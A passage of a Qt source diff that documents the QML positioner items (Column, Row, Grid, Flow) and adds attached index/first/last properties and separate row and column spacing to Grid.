+ \i \c pinch.minimumScale and \c pinch.maximumScale limit the range of the Item::scale property.
+ \i \c pinch.minimumRotation and \c pinch.maximumRotation limit the range of the Item::rotation property.
+ \i \c pinch.dragAxis specifies whether dragging in not allowed (\c Pinch.NoDrag), can be done horizontally (\c Pinch.XAxis), vertically (\c Pinch.YAxis), or both (\c Pinch.XandYAxis)
+ \i \c pinch.minimum and \c pinch.maximum limit how far the target can be dragged along the corresponding axes.
+ \endlist
+*/
+
QSGPinchArea::QSGPinchArea(QSGItem *parent)
: QSGItem(*(new QSGPinchAreaPrivate), parent)
{
@@ -73,7 +250,12 @@ QSGPinchArea::QSGPinchArea(QSGItem *parent)
QSGPinchArea::~QSGPinchArea()
{
}
+/*!
+ \qmlproperty bool QtQuick2::PinchArea::enabled
+ This property holds whether the item accepts pinch gestures.
+ This property defaults to true.
+*/
bool QSGPinchArea::isEnabled() const
{
Q_D(const QSGPinchArea);
diff --git a/src/declarative/items/qsgpositioners.cpp b/src/declarative/items/qsgpositioners.cpp
index da3c7fea04..fca0aa1877 100644
--- a/src/declarative/items/qsgpositioners.cpp
+++ b/src/declarative/items/qsgpositioners.cpp
@@ -50,6 +50,7 @@
#include <private/qdeclarativestate_p.h>
#include <private/qdeclarativestategroup_p.h>
#include <private/qdeclarativestateoperations_p.h>
+#include <private/qdeclarativetransition_p.h>
QT_BEGIN_NAMESPACE
@@ -77,6 +78,22 @@ QSGBasePositioner::QSGBasePositioner(PositionerType at, QSGItem *parent)
Q_D(QSGBasePositioner);
d->init(at);
}
+/*!
+ \internal
+ \class QSGBasePositioner
+ \brief The QSGBasePositioner class provides a base for QSGGraphics layouts.
+
+ To create a QSGGraphics Positioner, simply subclass QSGBasePositioner and implement
+ doLayout(), which is automatically called when the layout might need
+ updating. In doLayout() use the setX and setY functions from QSGBasePositioner, and the
+ base class will apply the positions along with the appropriate transitions. The items to
+ position are provided in order as the protected member positionedItems.
+
+ You also need to set a PositionerType, to declare whether you are positioning the x, y or both
+ for the child items. Depending on the chosen type, only x or y changes will be applied.
+
+ Note that the subclass is responsible for adding the spacing in between items.
+*/
QSGBasePositioner::QSGBasePositioner(QSGBasePositionerPrivate &dd, PositionerType at, QSGItem *parent)
: QSGImplicitSizeItem(dd, parent)
@@ -213,7 +230,8 @@ void QSGBasePositioner::prePositioning()
}
QSizeF contentSize(0,0);
doPositioning(&contentSize);
- if(d->addTransition || d->moveTransition)
+ updateAttachedProperties();
+ if (!d->addActions.isEmpty() || !d->moveActions.isEmpty())
finishApplyTransitions();
d->doingPositioning = false;
//Set implicit size to the size of its children
@@ -226,12 +244,12 @@ void QSGBasePositioner::positionX(int x, const PositionedItem &target)
Q_D(QSGBasePositioner);
if(d->type == Horizontal || d->type == Both){
if (target.isNew) {
- if (!d->addTransition)
+ if (!d->addTransition || !d->addTransition->enabled())
target.item->setX(x);
else
d->addActions << QDeclarativeAction(target.item, QLatin1String("x"), QVariant(x));
} else if (x != target.item->x()) {
- if (!d->moveTransition)
+ if (!d->moveTransition || !d->moveTransition->enabled())
target.item->setX(x);
else
d->moveActions << QDeclarativeAction(target.item, QLatin1String("x"), QVariant(x));
@@ -244,12 +262,12 @@ void QSGBasePositioner::positionY(int y, const PositionedItem &target)
Q_D(QSGBasePositioner);
if(d->type == Vertical || d->type == Both){
if (target.isNew) {
- if (!d->addTransition)
+ if (!d->addTransition || !d->addTransition->enabled())
target.item->setY(y);
else
d->addActions << QDeclarativeAction(target.item, QLatin1String("y"), QVariant(y));
} else if (y != target.item->y()) {
- if (!d->moveTransition)
+ if (!d->moveTransition || !d->moveTransition->enabled())
target.item->setY(y);
else
d->moveActions << QDeclarativeAction(target.item, QLatin1String("y"), QVariant(y));
@@ -268,6 +286,233 @@ void QSGBasePositioner::finishApplyTransitions()
d->moveActions.clear();
}
+QSGPositionerAttached *QSGBasePositioner::qmlAttachedProperties(QObject *obj)
+{
+ return new QSGPositionerAttached(obj);
+}
+
+void QSGBasePositioner::updateAttachedProperties(QSGPositionerAttached *specificProperty, QSGItem *specificPropertyOwner) const
+{
+ // If this function is deemed too expensive or shows up in profiles, it could
+ // be changed to run only when there are attached properties present. This
+ // could be a flag in the positioner that is set by the attached property
+ // constructor.
+ QSGPositionerAttached *prevLastProperty = 0;
+ QSGPositionerAttached *lastProperty = 0;
+
+ int visibleItemIndex = 0;
+ for (int ii = 0; ii < positionedItems.count(); ++ii) {
+ const PositionedItem &child = positionedItems.at(ii);
+ if (!child.item)
+ continue;
+
+ QSGPositionerAttached *property = 0;
+
+ if (specificProperty) {
+ if (specificPropertyOwner == child.item) {
+ property = specificProperty;
+ }
+ } else {
+ property = static_cast<QSGPositionerAttached *>(qmlAttachedPropertiesObject<QSGBasePositioner>(child.item, false));
+ }
+
+ if (child.isVisible) {
+ if (property) {
+ property->setIndex(visibleItemIndex);
+ property->setIsFirstItem(visibleItemIndex == 0);
+
+ if (property->isLastItem())
+ prevLastProperty = property;
+ }
+
+ lastProperty = property;
+ ++visibleItemIndex;
+ } else if (property) {
+ property->setIndex(-1);
+ property->setIsFirstItem(false);
+ property->setIsLastItem(false);
+ }
+ }
+
+ if (prevLastProperty && prevLastProperty != lastProperty)
+ prevLastProperty->setIsLastItem(false);
+ if (lastProperty)
+ lastProperty->setIsLastItem(true);
+}
+
+/*!
+ \qmlclass Positioner QSGPositionerAttached
+ \inqmlmodule QtQuick 2
+ \ingroup qml-positioning-elements
+ \brief The Positioner type provides attached properties that contain details on where an item exists in a positioner.
+
+ Positioner items (such as Column, Row, Flow and Grid) provide automatic layout
+ for child items. Attaching this property allows a child item to determine
+ where it exists within the positioner.
+*/
+
+QSGPositionerAttached::QSGPositionerAttached(QObject *parent) : QObject(parent), m_index(-1), m_isFirstItem(false), m_isLastItem(false)
+{
+ QSGItem *attachedItem = qobject_cast<QSGItem *>(parent);
+ if (attachedItem) {
+ QSGBasePositioner *positioner = qobject_cast<QSGBasePositioner *>(attachedItem->parent());
+ if (positioner) {
+ positioner->updateAttachedProperties(this, attachedItem);
+ }
+ }
+}
+
+/*!
+ \qmlattachedproperty Item QtQuick2::Positioner::index
+
+ This property allows the item to determine
+ its index within the positioner.
+*/
+void QSGPositionerAttached::setIndex(int index)
+{
+ if (m_index == index)
+ return;
+ m_index = index;
+ emit indexChanged();
+}
+
+/*!
+ \qmlattachedproperty Item QtQuick2::Positioner::isFirstItem
+ \qmlattachedproperty Item QtQuick2::Positioner::isLastItem
+
+ These properties allow the item to determine if it
+ is the first or last item in the positioner, respectively.
+*/
+void QSGPositionerAttached::setIsFirstItem(bool isFirstItem)
+{
+ if (m_isFirstItem == isFirstItem)
+ return;
+ m_isFirstItem = isFirstItem;
+ emit isFirstItemChanged();
+}
+
+void QSGPositionerAttached::setIsLastItem(bool isLastItem)
+{
+ if (m_isLastItem == isLastItem)
+ return;
+ m_isLastItem = isLastItem;
+ emit isLastItemChanged();
+}
+
+/*!
+ \qmlclass Column QSGColumn
+ \inqmlmodule QtQuick 2
+ \ingroup qml-positioning-elements
+ \brief The Column item arranges its children vertically.
+ \inherits Item
+
+ The Column item positions its child items so that they are vertically
+ aligned and not overlapping.
+
+ Spacing between items can be added using the \l spacing property.
+ Transitions can be used for cases where items managed by a Column are
+ added or moved. These are stored in the \l add and \l move properties
+ respectively.
+
+ See \l{Using QML Positioner and Repeater Items} for more details about this item and other
+ related items.
+
+ \section1 Example Usage
+
+ The following example positions differently shaped rectangles using a Column
+ item.
+
+ \image verticalpositioner_example.png
+
+ \snippet doc/src/snippets/declarative/column/vertical-positioner.qml document
+
+ \section1 Using Transitions
+
+ Transitions can be used to animate items that are added to, moved within,
+ or removed from a Column item. The \l add and \l move properties can be set to
+ the transitions that will be applied when items are added to, removed from,
+ or re-positioned within a Column item.
+
+ The use of transitions with positioners is described in more detail in the
+ \l{Using QML Positioner and Repeater Items#Using Transitions}{Using QML
+ Positioner and Repeater Items} document.
+
+ \image verticalpositioner_transition.gif
+
+ \qml
+ Column {
+ spacing: 2
+ add: Transition {
+ // Define an animation for adding a new item...
+ }
+ move: Transition {
+ // Define an animation for moving items within the column...
+ }
+ // ...
+ }
+ \endqml
+
+ \section1 Limitations
+
+ Note that the positioner assumes that the x and y positions of its children
+ will not change. If you manually change the x or y properties in script, bind
+ the x or y properties, use anchors on a child of a positioner, or have the
+ height of a child depend on the position of a child, then the
+ positioner may exhibit strange behavior. If you need to perform any of these
+ actions, consider positioning the items without the use of a Column.
+
+ Items with a width or height of 0 will not be positioned.
+
+ \sa Row, Grid, Flow, Positioner, {declarative/positioners}{Positioners example}
+*/
+/*!
+ \qmlproperty Transition QtQuick2::Column::add
+
+ This property holds the transition to be applied when adding an
+ item to the positioner. The transition will only be applied to the
+ added item(s). Positioner transitions will only affect the
+ position (x, y) of items.
+
+ For a positioner, adding an item can mean that either the object
+ has been created or reparented, and thus is now a child or the
+ positioner, or that the object has had its opacity increased from
+ zero, and thus is now visible.
+
+ \sa move
+*/
+/*!
+ \qmlproperty Transition QtQuick2::Column::move
+
+ This property holds the transition to apply when moving an item
+ within the positioner. Positioner transitions will only affect
+ the position (x, y) of items.
+
+ This transition can be performed when other items are added or removed
+ from the positioner, or when items resize themselves.
+
+ \image positioner-move.gif
+
+ \qml
+ Column {
+ move: Transition {
+ NumberAnimation {
+ properties: "y"
+ duration: 1000
+ }
+ }
+ }
+ \endqml
+
+ \sa add, {declarative/positioners}{Positioners example}
+*/
+/*!
+ \qmlproperty int QtQuick2::Column::spacing
+
+ The spacing is the amount in pixels left empty between adjacent
+ items. The default spacing is 0.
+
+ \sa Grid::spacing
+*/
QSGColumn::QSGColumn(QSGItem *parent)
: QSGBasePositioner(Vertical, parent)
{
@@ -288,10 +533,11 @@ void QSGColumn::doPositioning(QSizeF *contentSize)
contentSize->setWidth(qMax(contentSize->width(), child.item->width()));
voffset += child.item->height();
- if (ii != positionedItems.count() - 1)
- voffset += spacing();
+ voffset += spacing();
}
+ if (voffset != 0)//If we positioned any items, undo the spacing from the last item
+ voffset -= spacing();
contentSize->setHeight(voffset);
}
@@ -318,11 +564,119 @@ void QSGColumn::reportConflictingAnchors()
qmlInfo(this) << "Cannot specify top, bottom, verticalCenter, fill or centerIn anchors for items inside Column";
}
}
+/*!
+ \qmlclass Row QSGRow
+ \inqmlmodule QtQuick 2
+ \ingroup qml-positioning-elements
+ \brief The Row item arranges its children horizontally.
+ \inherits Item
+
+ The Row item positions its child items so that they are horizontally
+ aligned and not overlapping.
+
+ Use \l spacing to set the spacing between items in a Row, and use the
+ \l add and \l move properties to set the transitions that should be applied
+ when items are added to, removed from, or re-positioned within the Row.
+
+ See \l{Using QML Positioner and Repeater Items} for more details about this item and other
+ related items.
+
+ \section1 Example Usage
+
+ The following example lays out differently shaped rectangles using a Row.
+
+ \image horizontalpositioner_example.png
+
+ \snippet doc/src/snippets/declarative/row/row.qml document
+
+ \section1 Using Transitions
+
+ Transitions can be used to animate items that are added to, moved within,
+ or removed from a Grid item. The \l add and \l move properties can be set to
+ the transitions that will be applied when items are added to, removed from,
+ or re-positioned within a Row item.
+
+ \section1 Limitations
+
+ Note that the positioner assumes that the x and y positions of its children
+ will not change. If you manually change the x or y properties in script, bind
+ the x or y properties, use anchors on a child of a positioner, or have the
+ width of a child depend on the position of a child, then the
+ positioner may exhibit strange behaviour. If you need to perform any of these
+ actions, consider positioning the items without the use of a Row.
+
+ Items with a width or height of 0 will not be positioned.
+
+ \sa Column, Grid, Flow, Positioner, {declarative/positioners}{Positioners example}
+*/
+/*!
+ \qmlproperty Transition QtQuick2::Row::add
+
+ This property holds the transition to be applied when adding an
+ item to the positioner. The transition will only be applied to the
+ added item(s). Positioner transitions will only affect the
+ position (x, y) of items.
+
+ For a positioner, adding an item can mean that either the object
+ has been created or reparented, and thus is now a child or the
+ positioner, or that the object has had its opacity increased from
+ zero, and thus is now visible.
+
+ \sa move
+*/
+/*!
+ \qmlproperty Transition QtQuick2::Row::move
+
+ This property holds the transition to be applied when moving an
+ item within the positioner. Positioner transitions will only affect
+ the position (x, y) of items.
+
+ This transition can be performed when other items are added or removed
+ from the positioner, or when items resize themselves.
+
+ \qml
+ Row {
+ id: positioner
+ move: Transition {
+ NumberAnimation {
+ properties: "x"
+ duration: 1000
+ }
+ }
+ }
+ \endqml
+
+ \sa add, {declarative/positioners}{Positioners example}
+*/
+/*!
+ \qmlproperty int QtQuick2::Row::spacing
+
+ The spacing is the amount in pixels left empty between adjacent
+ items. The default spacing is 0.
+
+ \sa Grid::spacing
+*/
QSGRow::QSGRow(QSGItem *parent)
: QSGBasePositioner(Horizontal, parent)
{
}
+/*!
+ \qmlproperty enumeration QtQuick2::Row::layoutDirection
+
+ This property holds the layoutDirection of the row.
+
+ Possible values:
+
+ \list
+ \o Qt.LeftToRight (default) - Items are laid out from left to right. If the width of the row is explicitly set,
+ the left anchor remains to the left of the row.
+ \o Qt.RightToLeft - Items are laid out from right to left. If the width of the row is explicitly set,
+ the right anchor remains to the right of the row.
+ \endlist
+
+ \sa Grid::layoutDirection, Flow::layoutDirection, {declarative/righttoleft/layoutdirection}{Layout directions example}
+*/
Qt::LayoutDirection QSGRow::layoutDirection() const
{
@@ -344,6 +698,16 @@ void QSGRow::setLayoutDirection(Qt::LayoutDirection layoutDirection)
emit effectiveLayoutDirectionChanged();
}
}
+/*!
+ \qmlproperty enumeration QtQuick2::Row::effectiveLayoutDirection
+ This property holds the effective layout direction of the row positioner.
+
+ When using the attached property \l {LayoutMirroring::enabled}{LayoutMirroring::enabled} for locale layouts,
+ the visual layout direction of the row positioner will be mirrored. However, the
+ property \l {Row::layoutDirection}{layoutDirection} will remain unchanged.
+
+ \sa Row::layoutDirection, {LayoutMirroring}{LayoutMirroring}
+*/
Qt::LayoutDirection QSGRow::effectiveLayoutDirection() const
{
@@ -371,10 +735,11 @@ void QSGRow::doPositioning(QSizeF *contentSize)
contentSize->setHeight(qMax(contentSize->height(), child.item->height()));
hoffset += child.item->width();
- if (ii != positionedItems.count() - 1)
- hoffset += spacing();
+ hoffset += spacing();
}
+ if (hoffset != 0)//If we positioned any items, undo the extra spacing from the last item
+ hoffset -= spacing();
contentSize->setWidth(hoffset);
if (d->isLeftToRight())
@@ -421,11 +786,138 @@ void QSGRow::reportConflictingAnchors()
qmlInfo(this) << "Cannot specify left, right, horizontalCenter, fill or centerIn anchors for items inside Row";
}
+/*!
+ \qmlclass Grid QSGGrid
+ \inqmlmodule QtQuick 2
+ \ingroup qml-positioning-elements
+ \brief The Grid item positions its children in a grid.
+ \inherits Item
+
+ The Grid item positions its child items so that they are
+ aligned in a grid and are not overlapping.
+
+ The grid positioner calculates a grid of rectangular cells of sufficient
+ size to hold all items, placing the items in the cells, from left to right
+ and top to bottom. Each item is positioned in the top-left corner of its
+ cell with position (0, 0).
+
+ A Grid defaults to four columns, and as many rows as are necessary to
+ fit all child items. The number of rows and columns can be constrained
+ by setting the \l rows and \l columns properties.
+
+ Spacing can be added between child items by setting the \l spacing
+ property. The amount of spacing applied will be the same in the
+ horizontal and vertical directions.
+
+ See \l{Using QML Positioner and Repeater Items} for more details about this item and other
+ related items.
+
+ \section1 Example Usage
+
+ The following example demonstrates this.
+
+ \image gridLayout_example.png
+
+ \snippet doc/src/snippets/declarative/grid/grid.qml document
+
+ \section1 Using Transitions
+
+ Transitions can be used to animate items that are added to, moved within,
+ or removed from a Grid item. The \l add and \l move properties can be set to
+ the transitions that will be applied when items are added to, removed from,
+ or re-positioned within a Grid item.
+
+ \section1 Limitations
+
+ Note that the positioner assumes that the x and y positions of its children
+ will not change. If you manually change the x or y properties in script, bind
+ the x or y properties, use anchors on a child of a positioner, or have the
+ width or height of a child depend on the position of a child, then the
+ positioner may exhibit strange behaviour. If you need to perform any of these
+ actions, consider positioning the items without the use of a Grid.
+
+ Items with a width or height of 0 will not be positioned.
+
+ \sa Flow, Row, Column, Positioner, {declarative/positioners}{Positioners example}
+*/
+/*!
+ \qmlproperty Transition QtQuick2::Grid::add
+
+ This property holds the transition to be applied when adding an
+ item to the positioner. The transition will only be applied to the
+ added item(s). Positioner transitions will only affect the
+ position (x, y) of items.
+
+ For a positioner, adding an item can mean that either the object
+ has been created or reparented, and thus is now a child or the
+ positioner, or that the object has had its opacity increased from
+ zero, and thus is now visible.
+
+ \sa move
+*/
+/*!
+ \qmlproperty Transition QtQuick2::Grid::move
+
+ This property holds the transition to be applied when moving an
+ item within the positioner. Positioner transitions will only affect
+ the position (x, y) of items.
+
+ This transition can be performed when other items are added or removed
+ from the positioner, or when items resize themselves.
+
+ \qml
+ Grid {
+ move: Transition {
+ NumberAnimation {
+ properties: "x,y"
+ duration: 1000
+ }
+ }
+ }
+ \endqml
+
+ \sa add, {declarative/positioners}{Positioners example}
+*/
+/*!
+ \qmlproperty int QtQuick2::Grid::spacing
+
+ The spacing is the amount in pixels left empty between adjacent
+ items. The default spacing is 0.
+
+ The below example places a Grid containing a red, a blue and a
+ green rectangle on a gray background. The area the grid positioner
+ occupies is colored white. The positioner on the left has the
+ no spacing (the default), and the positioner on the right has
+ a spacing of 6.
+
+ \inlineimage qml-grid-no-spacing.png
+ \inlineimage qml-grid-spacing.png
+
+ \sa rows, columns
+*/
QSGGrid::QSGGrid(QSGItem *parent) :
- QSGBasePositioner(Both, parent), m_rows(-1), m_columns(-1), m_flow(LeftToRight)
+ QSGBasePositioner(Both, parent), m_rows(-1), m_columns(-1), m_rowSpacing(-1), m_columnSpacing(-1), m_flow(LeftToRight)
{
}
+/*!
+ \qmlproperty int QtQuick2::Grid::columns
+
+ This property holds the number of columns in the grid. The default
+ number of columns is 4.
+
+ If the grid does not have enough items to fill the specified
+ number of columns, some columns will be of zero width.
+*/
+
+/*!
+ \qmlproperty int QtQuick2::Grid::rows
+ This property holds the number of rows in the grid.
+
+ If the grid does not have enough items to fill the specified
+ number of rows, some rows will be of zero width.
+*/
+
void QSGGrid::setColumns(const int columns)
{
if (columns == m_columns)
@@ -444,6 +936,19 @@ void QSGGrid::setRows(const int rows)
emit rowsChanged();
}
+/*!
+ \qmlproperty enumeration QtQuick2::Grid::flow
+ This property holds the flow of the layout.
+
+ Possible values are:
+
+ \list
+ \o Grid.LeftToRight (default) - Items are positioned next to
+ each other in the \l layoutDirection, then wrapped to the next line.
+ \o Grid.TopToBottom - Items are positioned next to each
+ other from top to bottom, then wrapped to the next column.
+ \endlist
+*/
QSGGrid::Flow QSGGrid::flow() const
{
return m_flow;
@@ -458,6 +963,58 @@ void QSGGrid::setFlow(Flow flow)
}
}
+/*!
+ \qmlproperty int QtQuick2::Grid::rowSpacing
+
+ This property holds the spacing in pixels between rows.
+
+ \sa columnSpacing
+ \since QtQuick2.0
+*/
+void QSGGrid::setRowSpacing(const int rowSpacing)
+{
+ if (rowSpacing == m_rowSpacing)
+ return;
+ m_rowSpacing = rowSpacing;
+ prePositioning();
+ emit rowSpacingChanged();
+}
+
+/*!
+ \qmlproperty int QtQuick2::Grid::columnSpacing
+
+ This property holds the spacing in pixels between columns.
+
+ \sa rowSpacing
+ \since QtQuick2.0
+*/
+void QSGGrid::setColumnSpacing(const int columnSpacing)
+{
+ if (columnSpacing == m_columnSpacing)
+ return;
+ m_columnSpacing = columnSpacing;
+ prePositioning();
+ emit columnSpacingChanged();
+}
+
+/*!
+ \qmlproperty enumeration QtQuick2::Grid::layoutDirection
+
+ This property holds the layout direction of the layout.
+
+ Possible values are:
+
+ \list
+ \o Qt.LeftToRight (default) - Items are positioned from the top to bottom,
+ and left to right. The flow direction is dependent on the
+ \l Grid::flow property.
+ \o Qt.RightToLeft - Items are positioned from the top to bottom,
+ and right to left. The flow direction is dependent on the
+ \l Grid::flow property.
+ \endlist
+
+ \sa Flow::layoutDirection, Row::layoutDirection, {declarative/righttoleft/layoutdirection}{Layout directions example}
+*/
Qt::LayoutDirection QSGGrid::layoutDirection() const
{
return QSGBasePositionerPrivate::getLayoutDirection(this);
@@ -479,6 +1036,16 @@ void QSGGrid::setLayoutDirection(Qt::LayoutDirection layoutDirection)
}
}
+/*!
+ \qmlproperty enumeration QtQuick2::Grid::effectiveLayoutDirection
+ This property holds the effective layout direction of the grid positioner.
+
+ When using the attached property \l {LayoutMirroring::enabled}{LayoutMirroring::enabled} for locale layouts,
+ the visual layout direction of the grid positioner will be mirrored. However, the
+ property \l {Grid::layoutDirection}{layoutDirection} will remain unchanged.
+
+ \sa Grid::layoutDirection, {LayoutMirroring}{LayoutMirroring}
+*/
Qt::LayoutDirection QSGGrid::effectiveLayoutDirection() const
{
return QSGBasePositionerPrivate::getEffectiveLayoutDirection(this);
@@ -550,17 +1117,25 @@ void QSGGrid::doPositioning(QSizeF *contentSize)
}
}
+ int columnSpacing = m_columnSpacing;
+ if (columnSpacing == -1)
+ columnSpacing = spacing();
+
+ int rowSpacing = m_rowSpacing;
+ if (rowSpacing == -1)
+ rowSpacing = spacing();
+
int widthSum = 0;
for (int j=0; j < maxColWidth.size(); j++){
if (j)
- widthSum += spacing();
+ widthSum += columnSpacing;
widthSum += maxColWidth[j];
}
int heightSum = 0;
for (int i=0; i < maxRowHeight.size(); i++){
if (i)
- heightSum += spacing();
+ heightSum += rowSpacing;
heightSum += maxRowHeight[i];
}
@@ -591,13 +1166,13 @@ void QSGGrid::doPositioning(QSizeF *contentSize)
if (m_flow == LeftToRight) {
if (d->isLeftToRight())
- xoffset += maxColWidth[curCol]+spacing();
+ xoffset += maxColWidth[curCol]+columnSpacing;
else
- xoffset -= maxColWidth[curCol]+spacing();
+ xoffset -= maxColWidth[curCol]+columnSpacing;
curCol++;
curCol%=c;
if (!curCol){
- yoffset += maxRowHeight[curRow]+spacing();
+ yoffset += maxRowHeight[curRow]+rowSpacing;
if (d->isLeftToRight())
xoffset = 0;
else
@@ -607,14 +1182,14 @@ void QSGGrid::doPositioning(QSizeF *contentSize)
break;
}
} else {
- yoffset+=maxRowHeight[curRow]+spacing();
+ yoffset+=maxRowHeight[curRow]+rowSpacing;
curRow++;
curRow%=r;
if (!curRow){
if (d->isLeftToRight())
- xoffset += maxColWidth[curCol]+spacing();
+ xoffset += maxColWidth[curCol]+columnSpacing;
else
- xoffset -= maxColWidth[curCol]+spacing();
+ xoffset -= maxColWidth[curCol]+columnSpacing;
yoffset=0;
curCol++;
if (curCol>=c)
@@ -641,6 +1216,105 @@ void QSGGrid::reportConflictingAnchors()
qmlInfo(this) << "Cannot specify anchors for items inside Grid";
}
+/*!
+ \qmlclass Flow QSGFlow
+ \inqmlmodule QtQuick 2
+ \ingroup qml-positioning-elements
+ \brief The Flow item arranges its children side by side, wrapping as necessary.
+ \inherits Item
+
+ The Flow item positions its child items like words on a page, wrapping them
+ to create rows or columns of items that do not overlap.
+
+ Spacing between items can be added using the \l spacing property.
+ Transitions can be used for cases where items managed by a Column are
+ added or moved. These are stored in the \l add and \l move properties
+ respectively.
+
+ See \l{Using QML Positioner and Repeater Items} for more details about this item and other
+ related items.
+
+ \section1 Example Usage
+
+ The following example positions \l Text items within a parent item using
+ a Flow item.
+
+ \image qml-flow-snippet.png
+
+ \snippet doc/src/snippets/declarative/flow.qml flow item
+
+ \section1 Using Transitions
+
+ Transitions can be used to animate items that are added to, moved within,
+ or removed from a Flow item. The \l add and \l move properties can be set to
+ the transitions that will be applied when items are added to, removed from,
+ or re-positioned within a Flow item.
+
+ The use of transitions with positioners is described in more detail in the
+ \l{Using QML Positioner and Repeater Items#Using Transitions}{Using QML
+ Positioner and Repeater Items} document.
+
+ \section1 Limitations
+
+ Note that the positioner assumes that the x and y positions of its children
+ will not change. If you manually change the x or y properties in script, bind
+ the x or y properties, use anchors on a child of a positioner, or have the
+ width or height of a child depend on the position of a child, then the
+ positioner may exhibit strange behaviour. If you need to perform any of these
+ actions, consider positioning the items without the use of a Flow.
+
+ Items with a width or height of 0 will not be positioned.
+
+ \sa Column, Row, Grid, Positioner, {declarative/positioners}{Positioners example}
+*/
+/*!
+ \qmlproperty Transition QtQuick2::Flow::add
+
+ This property holds the transition to be applied when adding an
+ item to the positioner. The transition will only be applied to the
+ added item(s). Positioner transitions will only affect the
+ position (x, y) of items.
+
+ For a positioner, adding an item can mean that either the object
+ has been created or reparented, and thus is now a child or the
+ positioner, or that the object has had its opacity increased from
+ zero, and thus is now visible.
+
+ \sa move
+*/
+/*!
+ \qmlproperty Transition QtQuick2::Flow::move
+
+ This property holds the transition to be applied when moving an
+ item within the positioner. Positioner transitions will only affect
+ the position (x, y) of items.
+
+ This transition can be performed when other items are added or removed
+ from the positioner, or when items resize themselves.
+
+ \qml
+ Flow {
+ id: positioner
+ move: Transition {
+ NumberAnimation {
+ properties: "x,y"
+ ease: "easeOutBounce"
+ }
+ }
+ }
+ \endqml
+
+ \sa add, {declarative/positioners}{Positioners example}
+*/
+/*!
+ \qmlproperty int QtQuick2::Flow::spacing
+
+ spacing is the amount in pixels left empty between each adjacent
+ item, and defaults to 0.
+
+ \sa Grid::spacing
+*/
+
class QSGFlowPrivate : public QSGBasePositionerPrivate
{
Q_DECLARE_PUBLIC(QSGFlow)
@@ -661,6 +1335,21 @@ QSGFlow::QSGFlow(QSGItem *parent)
d->addItemChangeListener(d, QSGItemPrivate::Geometry);
}
+/*!
+ \qmlproperty enumeration QtQuick2::Flow::flow
+ This property holds the flow of the layout.
+
+ Possible values are:
+
+ \list
+ \o Flow.LeftToRight (default) - Items are positioned next to
+ to each other according to the \l layoutDirection until the width of the Flow
+ is exceeded, then wrapped to the next line.
+ \o Flow.TopToBottom - Items are positioned next to each
+ other from top to bottom until the height of the Flow is exceeded,
+ then wrapped to the next column.
+ \endlist
+*/
QSGFlow::Flow QSGFlow::flow() const
{
Q_D(const QSGFlow);
@@ -677,6 +1366,25 @@ void QSGFlow::setFlow(Flow flow)
}
}
+/*!
+ \qmlproperty enumeration QtQuick2::Flow::layoutDirection
+
+ This property holds the layout direction of the layout.
+
+ Possible values are:
+
+ \list
+ \o Qt.LeftToRight (default) - Items are positioned from the top to bottom,
+ and left to right. The flow direction is dependent on the
+ \l Flow::flow property.
+ \o Qt.RightToLeft - Items are positioned from the top to bottom,
+ and right to left. The flow direction is dependent on the
+ \l Flow::flow property.
+ \endlist
+
+ \sa Grid::layoutDirection, Row::layoutDirection, {declarative/righttoleft/layoutdirection}{Layout directions example}
+*/
+
Qt::LayoutDirection QSGFlow::layoutDirection() const
{
Q_D(const QSGFlow);
@@ -694,6 +1402,17 @@ void QSGFlow::setLayoutDirection(Qt::LayoutDirection layoutDirection)
}
}
+/*!
+ \qmlproperty enumeration QtQuick2::Flow::effectiveLayoutDirection
+ This property holds the effective layout direction of the flow positioner.
+
+ When using the attached property \l {LayoutMirroring::enabled}{LayoutMirroring::enabled} for locale layouts,
+ the visual layout direction of the grid positioner will be mirrored. However, the
+ property \l {Flow::layoutDirection}{layoutDirection} will remain unchanged.
+
+ \sa Flow::layoutDirection, {LayoutMirroring}{LayoutMirroring}
+*/
+
Qt::LayoutDirection QSGFlow::effectiveLayoutDirection() const
{
return QSGBasePositionerPrivate::getEffectiveLayoutDirection(this);
diff --git a/src/declarative/items/qsgpositioners_p.h b/src/declarative/items/qsgpositioners_p.h
index a23c9d446c..7200b6da8d 100644
--- a/src/declarative/items/qsgpositioners_p.h
+++ b/src/declarative/items/qsgpositioners_p.h
@@ -59,6 +59,37 @@ QT_MODULE(Declarative)
class QSGBasePositionerPrivate;
+class QSGPositionerAttached : public QObject
+{
+ Q_OBJECT
+
+public:
+ QSGPositionerAttached(QObject *parent);
+
+ Q_PROPERTY(int index READ index NOTIFY indexChanged)
+ Q_PROPERTY(bool isFirstItem READ isFirstItem NOTIFY isFirstItemChanged)
+ Q_PROPERTY(bool isLastItem READ isLastItem NOTIFY isLastItemChanged)
+
+ int index() const { return m_index; }
+ void setIndex(int index);
+
+ bool isFirstItem() const { return m_isFirstItem; }
+ void setIsFirstItem(bool isFirstItem);
+
+ bool isLastItem() const { return m_isLastItem; }
+ void setIsLastItem(bool isLastItem);
+
+Q_SIGNALS:
+ void indexChanged();
+ void isFirstItemChanged();
+ void isLastItemChanged();
+
+private:
+ int m_index;
+ bool m_isFirstItem;
+ bool m_isLastItem;
+};
+
class Q_DECLARATIVE_PRIVATE_EXPORT QSGBasePositioner : public QSGImplicitSizeItem
{
Q_OBJECT
@@ -80,6 +111,10 @@ public:
QDeclarativeTransition *add() const;
void setAdd(QDeclarativeTransition *);
+ static QSGPositionerAttached *qmlAttachedProperties(QObject *obj);
+
+ void updateAttachedProperties(QSGPositionerAttached *specificProperty = 0, QSGItem *specificPropertyOwner = 0) const;
+
protected:
QSGBasePositioner(QSGBasePositionerPrivate &dd, PositionerType at, QSGItem *parent);
virtual void componentComplete();
@@ -120,6 +155,7 @@ class Q_AUTOTEST_EXPORT QSGColumn : public QSGBasePositioner
Q_OBJECT
public:
QSGColumn(QSGItem *parent=0);
+
protected:
virtual void doPositioning(QSizeF *contentSize);
virtual void reportConflictingAnchors();
@@ -155,6 +191,8 @@ class Q_AUTOTEST_EXPORT QSGGrid : public QSGBasePositioner
Q_OBJECT
Q_PROPERTY(int rows READ rows WRITE setRows NOTIFY rowsChanged)
Q_PROPERTY(int columns READ columns WRITE setColumns NOTIFY columnsChanged)
+ Q_PROPERTY(int rowSpacing READ rowSpacing WRITE setRowSpacing NOTIFY rowSpacingChanged)
+ Q_PROPERTY(int columnSpacing READ columnSpacing WRITE setColumnSpacing NOTIFY columnSpacingChanged)
Q_PROPERTY(Flow flow READ flow WRITE setFlow NOTIFY flowChanged)
Q_PROPERTY(Qt::LayoutDirection layoutDirection READ layoutDirection WRITE setLayoutDirection NOTIFY layoutDirectionChanged)
